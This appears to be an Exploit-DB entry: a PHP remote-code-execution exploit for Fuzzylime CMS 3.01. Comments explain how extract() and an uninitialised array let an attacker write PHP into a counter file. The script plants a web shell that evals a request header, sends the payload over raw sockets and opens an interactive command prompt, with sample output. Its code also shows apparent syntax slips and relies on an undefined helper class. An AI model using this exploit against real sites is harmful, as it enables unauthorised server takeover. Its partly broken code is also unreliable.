Exploit-DB #6060
Description: Fuzzylime CMS 3.01 - 'commrss.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-07-13
Author: Charles Fol

Exploit:
<?php
##
## Name:       Fuzzylime 3.01 Remote Code Execution Exploit
## Credits:    Charles "real" F. <charlesfol[at]hotmail.fr>
##
## Conditions: None
##
## Greetz:     Inphex, hEEGy and austeN
##
## Explanations
## ************
##
## Ok, so today we will go for a walk in the fuzzylime cms maze ...
## Finding vulns was easy, but finding a no condition vuln was quite
## harder ...
##
## First, we look to the code/content.php file:
##
##---[code/content.php]------------------------------------------
## 02| require_once("code/functions.php");
## --| [...]
## 09| $countfile = "code/counter/${s}_$p.inc.php";
## 10| if(file_exists($countfile)) {
## 11|     $curcount = loadfile($countfile);
## 12| }
## 13| $curcount++;
## 14| if($handle = @fopen($countfile, 'w')) { // Open the file for saving
## 15|     fputs($handle, $curcount);
## 16|     fclose($handle);
## 17| }
##----------------------------------------------------------------
##
## $s, $p, $curcount vars are not initialized, so we can set it if
## register_globals=On.
##
## POC: http://[url]/code/content.php?s=owned&p=owned&curcount=[PHP_SCRIPT]
##
## Note: [C:\]# php -r "$var='abc'; $var++; print $var;"
##       abd
## So the ++ just increment the last string letter position in the alphabet
## a->b, b->c, etc.
##
## Ok, we got remote code exec ... but wait a minute ... no ! require_once()
## requires a file in the code folder, but we are already in this folder ...
## PHP will die (Fatal Error) and our evil code won't be executed.
## And we wanted a no condition exploit, but this vuln needs register_globals
## to be On ...
##
## hum... let's look at other pages: we can find that extract() function is
## pretty often used, and it can simulate register_globals ...
## Now we are looking for a file which uses extract() and which can include
## code/content.php file, and which is in the root path.
##
## And we finally found commsrss.php, which contains:
##
##---[commsrss.php]-----------------------------------------------
## 17| extract($HTTP_POST_VARS); 
## 18| extract($_POST);
## 19| extract($HTTP_GET_VARS); 
## 20| extract($_GET);
## 21| extract($HTTP_COOKIE_VARS); 
## 22| extract($_COOKIE);
## --| [...]
## 64| $dir = "blogs/comments/";
## 65| if($dlist = opendir($dir)) {
## 66|     while (($file = readdir($dlist)) !== false) {
## 67|         if(strstr($file, $p)) {
## 68|             $files[] = $file;
## 69|         }
## 70|     }
## 71|     closedir($dlist);
## 72| }
## 73| for($i = 0; $i < count($files); $i++) {
## 74|     include "blogs/comments/$files[$i]";
## --| [...]
## 89| }
##----------------------------------------------------------------
##
## w00t ! $files array is not initialized ... we can include every
## file we want.
##
## Using chr() we can bypass magic_quotes_gpc=Off [ see chrit() ]
##
## Our problems are solved, we have a Remote Code Execution without
## conditions.
##
## Proof of Concept
## ****************
##
## [C:\]# php exploit.php http://www.target.com/
## [target][cmd]# ls
## blogs_.inc.php
## content_index.inc.php
## content_index.php.inc.php
## content_test.inc.php
## front_index.inc.php
## front_test.inc.php
## index.htm
## index.php_index.inc.php
##
## [target][cmd]# exit
##
## [C:\]# 

$url = $argv[1];


$php_code = '<?php'
          . 'error_reporting(0);'
          . 'print ' . chrit('-:-:-') . ';'.
          . 'eval(stripslashes($_SERVER[HTTP_SHELL]));'
	  . 'print ' . chrit('-:-:-') . ';'.
	  . '?>';

$php_code--; // 13| $curcount++;

$c0de  = $url . 'commsrss.php?s=blogs&m=&usecache=0&files[0]=../../code/content.php'
              . '&curcount=' . urlencode($php_code);

$shell = $url . 'code/counter/blogs_.inc.php';


# Be careful: we can create a valid shell only ONCE.
# So check if it does not already exist before doing
# anything else.
if(status_404($shell)==true)
	get($c0de);

$phpR = new phpreter($shell, '-:-:-(.*)-:-:-', 'cmd', array(), false);

function chrit($str)
{
	$r = '';
	
	for($i=0;$i<strlen($str);$i++)
	{
		$z  = substr($str, $i, 1);
		$r .= '.chr('.ord($z).')';
	}
	
	return substr($r, 1);
}

function get($url)
{
	$infos = parse_url($url);
	$host  = $infos['host'];
	$port  = isset($infos['port']) ? $infos['port'] : 80;
	
	$fp = fsockopen($host, $port, &$errno, &$errstr, 30);
	
	$req  = "GET $url HTTP/1.1\r\n";
	$req .= "Host: $host\r\n";
	$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
	$req .= "Connection: close\r\n\r\n";

	fputs($fp,$req);
	fclose($fp);
}

function status_404($url)
{
	$infos = parse_url($url);
	$host  = $infos['host'];
	$port  = isset($infos['port']) ? $infos['port'] : 80;
	
	$fp = fsockopen($host, $port, &$errno, &$errstr, 30);
	
	$req  = "GET $url HTTP/1.1\r\n";
	$req .= "Host: $host\r\n";
	$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
	$req .= "Connection: close\r\n\r\n";

	fputs($fp, $req);
	
	$res = '';
	while(!feof($fp) && !preg_match('#404#', $res))
		$res .= fgets($fp, 1337);
	
	fclose($fp);
	
	if(preg_match('#404#', $res))
		return true;
	
	return false;
}

/*
 * Copyright (c) real
 *
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * F